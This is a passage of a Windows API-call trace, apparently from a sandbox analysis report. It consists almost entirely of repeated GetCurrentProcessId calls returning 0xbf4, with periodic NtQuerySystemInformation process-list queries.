GetCurrentProcessId () returned 0xbf4 [0184.469] GetCurrentProcessId () returned 0xbf4 [0184.469] GetCurrentProcessId () returned 0xbf4 [0184.469] GetCurrentProcessId () returned 0xbf4 [0184.469] GetCurrentProcessId () returned 0xbf4 [0184.469] GetCurrentProcessId () returned 0xbf4 [0184.469] GetCurrentProcessId () returned 0xbf4 [0184.469] GetCurrentProcessId () returned 0xbf4 [0184.469] GetCurrentProcessId () returned 0xbf4 [0184.469] GetCurrentProcessId () returned 0xbf4 [0184.469] GetCurrentProcessId () returned 0xbf4 [0184.469] GetCurrentProcessId () returned 0xbf4 [0184.469] GetCurrentProcessId () returned 0xbf4 [0184.469] GetCurrentProcessId () returned 0xbf4 [0184.469] GetCurrentProcessId () returned 0xbf4 [0184.469] GetCurrentProcessId () returned 0xbf4 [0184.469] GetCurrentProcessId () returned 0xbf4 [0184.469] GetCurrentProcessId () returned 0xbf4 [0184.470] GetCurrentProcessId () returned 0xbf4 [0184.470] GetCurrentProcessId () returned 0xbf4 [0184.470] GetCurrentProcessId () returned 0xbf4 [0184.470] GetCurrentProcessId () returned 0xbf4 [0184.470] GetCurrentProcessId () returned 0xbf4 [0184.470] GetCurrentProcessId () returned 0xbf4 [0184.470] GetCurrentProcessId () returned 0xbf4 [0184.470] GetCurrentProcessId () returned 0xbf4 [0184.470] GetCurrentProcessId () returned 0xbf4 [0184.470] GetCurrentProcessId () returned 0xbf4 [0184.470] GetCurrentProcessId () returned 0xbf4 [0184.470] GetCurrentProcessId () returned 0xbf4 [0184.470] GetCurrentProcessId () returned 0xbf4 [0184.470] GetCurrentProcessId () returned 0xbf4 [0184.470] GetCurrentProcessId () returned 0xbf4 [0184.470] GetCurrentProcessId () returned 0xbf4 [0184.470] GetCurrentProcessId () returned 0xbf4 [0184.990] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1c810) returned 0x0 [0184.992] GetCurrentProcessId () returned 0xbf4 [0184.992] GetCurrentProcessId () returned 0xbf4 [0184.992] GetCurrentProcessId () returned 0xbf4 [0184.992] GetCurrentProcessId () returned 0xbf4 [0184.992] GetCurrentProcessId () returned 0xbf4 [0184.992] GetCurrentProcessId () returned 0xbf4 [0184.992] GetCurrentProcessId () returned 0xbf4 [0184.992] GetCurrentProcessId () returned 0xbf4 [0184.992] GetCurrentProcessId () returned 0xbf4 [0184.992] GetCurrentProcessId () returned 0xbf4 [0184.992] GetCurrentProcessId () returned 0xbf4 [0184.993] GetCurrentProcessId () returned 0xbf4 [0184.993] GetCurrentProcessId () returned 0xbf4 [0184.993] GetCurrentProcessId () returned 0xbf4 [0184.993] GetCurrentProcessId () returned 0xbf4 [0184.993] GetCurrentProcessId () returned 0xbf4 [0184.993] GetCurrentProcessId () returned 0xbf4 [0184.993] GetCurrentProcessId () returned 0xbf4 [0184.993] GetCurrentProcessId () returned 0xbf4 [0184.993] GetCurrentProcessId () returned 0xbf4 [0184.993] GetCurrentProcessId () returned 0xbf4 [0184.993] GetCurrentProcessId () returned 0xbf4 [0184.993] GetCurrentProcessId () returned 0xbf4 [0184.993] GetCurrentProcessId () returned 0xbf4 [0184.993] GetCurrentProcessId () returned 0xbf4 [0184.993] GetCurrentProcessId () returned 0xbf4 [0184.993] GetCurrentProcessId () returned 0xbf4 [0184.993] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.994] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.995] GetCurrentProcessId () returned 0xbf4 [0184.996] GetCurrentProcessId () returned 0xbf4 [0184.996] GetCurrentProcessId () returned 0xbf4 [0184.996] GetCurrentProcessId () returned 0xbf4 [0184.996] GetCurrentProcessId () returned 0xbf4 [0184.996] GetCurrentProcessId () returned 0xbf4 [0184.996] GetCurrentProcessId () returned 0xbf4 [0184.996] GetCurrentProcessId () returned 0xbf4 [0184.996] GetCurrentProcessId () returned 0xbf4 [0184.996] GetCurrentProcessId () returned 0xbf4 [0184.996] GetCurrentProcessId () returned 0xbf4 [0184.996] GetCurrentProcessId () returned 0xbf4 [0184.996] GetCurrentProcessId () returned 0xbf4 [0184.996] GetCurrentProcessId () returned 0xbf4 [0184.996] GetCurrentProcessId () returned 0xbf4 [0184.996] GetCurrentProcessId () returned 0xbf4 [0184.996] GetCurrentProcessId () returned 0xbf4 [0184.996] GetCurrentProcessId () returned 0xbf4 [0184.996] GetCurrentProcessId () returned 0xbf4 [0184.996] GetCurrentProcessId () returned 0xbf4 [0184.996] GetCurrentProcessId () returned 0xbf4 [0184.996] GetCurrentProcessId () returned 0xbf4 [0184.996] GetCurrentProcessId () returned 0xbf4 [0184.996] GetCurrentProcessId () returned 0xbf4 [0185.508] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1c810) returned 0x0 [0185.513] GetCurrentProcessId () returned 0xbf4 [0185.513] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.514] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.515] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.516] GetCurrentProcessId () returned 0xbf4 [0185.517] GetCurrentProcessId () returned 0xbf4 [0185.517] GetCurrentProcessId () returned 0xbf4 [0185.517] GetCurrentProcessId () returned 0xbf4 [0185.517] GetCurrentProcessId () returned 0xbf4 [0185.517] GetCurrentProcessId () returned 0xbf4 [0185.517] GetCurrentProcessId () returned 0xbf4 [0185.517] GetCurrentProcessId () returned 0xbf4 [0185.517] GetCurrentProcessId () returned 0xbf4 [0185.517] GetCurrentProcessId () returned 0xbf4 [0185.517] GetCurrentProcessId () returned 0xbf4 [0185.517] GetCurrentProcessId () returned 0xbf4 [0185.517] GetCurrentProcessId () returned 0xbf4 [0185.517] GetCurrentProcessId () returned 0xbf4 [0185.517] GetCurrentProcessId () returned 0xbf4 [0185.517] GetCurrentProcessId () returned 0xbf4 [0185.517] GetCurrentProcessId () returned 0xbf4 [0185.517] GetCurrentProcessId () returned 0xbf4 [0185.517] GetCurrentProcessId () returned 0xbf4 [0185.517] GetCurrentProcessId () returned 0xbf4 [0186.056] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1c7c0) returned 0x0 [0186.067] GetCurrentProcessId () returned 0xbf4 [0186.067] GetCurrentProcessId () returned 0xbf4 [0186.067] GetCurrentProcessId () returned 0xbf4 [0186.067] GetCurrentProcessId () returned 0xbf4 [0186.067] GetCurrentProcessId () returned 0xbf4 [0186.067] GetCurrentProcessId () returned 0xbf4 [0186.067] GetCurrentProcessId () returned 0xbf4 [0186.067] GetCurrentProcessId () returned 0xbf4 [0186.067] GetCurrentProcessId () returned 0xbf4 [0186.067] GetCurrentProcessId () returned 0xbf4 [0186.067] GetCurrentProcessId () returned 0xbf4 [0186.067] GetCurrentProcessId () returned 0xbf4 [0186.067] GetCurrentProcessId () returned 0xbf4 [0186.067] GetCurrentProcessId () returned 0xbf4 [0186.067] GetCurrentProcessId () returned 0xbf4 [0186.067] GetCurrentProcessId () returned 0xbf4 [0186.067] GetCurrentProcessId () returned 0xbf4 [0186.067] GetCurrentProcessId () returned 0xbf4 [0186.067] GetCurrentProcessId () returned 0xbf4 [0186.067] GetCurrentProcessId () returned 0xbf4 [0186.067] GetCurrentProcessId () returned 0xbf4 [0186.067] GetCurrentProcessId () returned 0xbf4 [0186.067] GetCurrentProcessId () returned 0xbf4 [0186.067] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.068] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.069] GetCurrentProcessId () returned 0xbf4 [0186.070] GetCurrentProcessId () returned 0xbf4 [0186.070] GetCurrentProcessId () returned 0xbf4 [0186.070] GetCurrentProcessId () returned 0xbf4 [0186.070] GetCurrentProcessId () returned 0xbf4 [0186.070] GetCurrentProcessId () returned 0xbf4 [0186.070] GetCurrentProcessId () returned 0xbf4 [0186.070] GetCurrentProcessId () returned 0xbf4 [0186.070] GetCurrentProcessId () returned 0xbf4 [0186.070] GetCurrentProcessId () returned 0xbf4 [0186.070] GetCurrentProcessId () returned 0xbf4 [0186.070] GetCurrentProcessId () returned 0xbf4 [0186.070] GetCurrentProcessId () returned 0xbf4 [0186.070] GetCurrentProcessId () returned 0xbf4 [0186.070] GetCurrentProcessId () returned 0xbf4 [0186.070] GetCurrentProcessId () returned 0xbf4 [0186.070] GetCurrentProcessId () returned 0xbf4 [0186.070] GetCurrentProcessId () returned 0xbf4 [0186.070] GetCurrentProcessId () returned 0xbf4 [0186.070] GetCurrentProcessId () returned 0xbf4 [0186.070] GetCurrentProcessId () returned 0xbf4 [0186.070] GetCurrentProcessId () returned 0xbf4 [0186.070] GetCurrentProcessId () returned 0xbf4 [0186.070] GetCurrentProcessId () returned 0xbf4 [0186.070] GetCurrentProcessId () returned 0xbf4 [0186.070] GetCurrentProcessId () returned 0xbf4 [0186.604] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1c7c0) returned 0x0 [0186.606] GetCurrentProcessId () returned 0xbf4 [0186.606] GetCurrentProcessId () returned 0xbf4 [0186.606] GetCurrentProcessId () returned 0xbf4 [0186.606] GetCurrentProcessId () returned 0xbf4 [0186.606] GetCurrentProcessId () returned 0xbf4 [0186.606] GetCurrentProcessId () returned 0xbf4 [0186.606] GetCurrentProcessId () returned 0xbf4 [0186.606] GetCurrentProcessId () returned 0xbf4 [0186.606] GetCurrentProcessId () returned 0xbf4 [0186.606] GetCurrentProcessId () returned 0xbf4 [0186.606] GetCurrentProcessId () returned 0xbf4 [0186.606] GetCurrentProcessId () returned 0xbf4 [0186.606] GetCurrentProcessId () returned 0xbf4 [0186.606] GetCurrentProcessId () returned 0xbf4 [0186.606] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.607] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.608] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0186.609] GetCurrentProcessId () returned 0xbf4 [0187.194] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1c9a0) returned 0x0 [0187.195] GetCurrentProcessId () returned 0xbf4 [0187.195] GetCurrentProcessId () returned 0xbf4 [0187.195] GetCurrentProcessId () returned 0xbf4 [0187.195] GetCurrentProcessId () returned 0xbf4 [0187.195] GetCurrentProcessId () returned 0xbf4 [0187.195] GetCurrentProcessId () returned 0xbf4 [0187.195] GetCurrentProcessId () returned 0xbf4 [0187.195] GetCurrentProcessId () returned 0xbf4 [0187.195] GetCurrentProcessId () returned 0xbf4 [0187.195] GetCurrentProcessId () returned 0xbf4 [0187.195] GetCurrentProcessId () returned 0xbf4 [0187.195] GetCurrentProcessId () returned 0xbf4 [0187.195] GetCurrentProcessId () returned 0xbf4 [0187.195] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.196] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.197] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 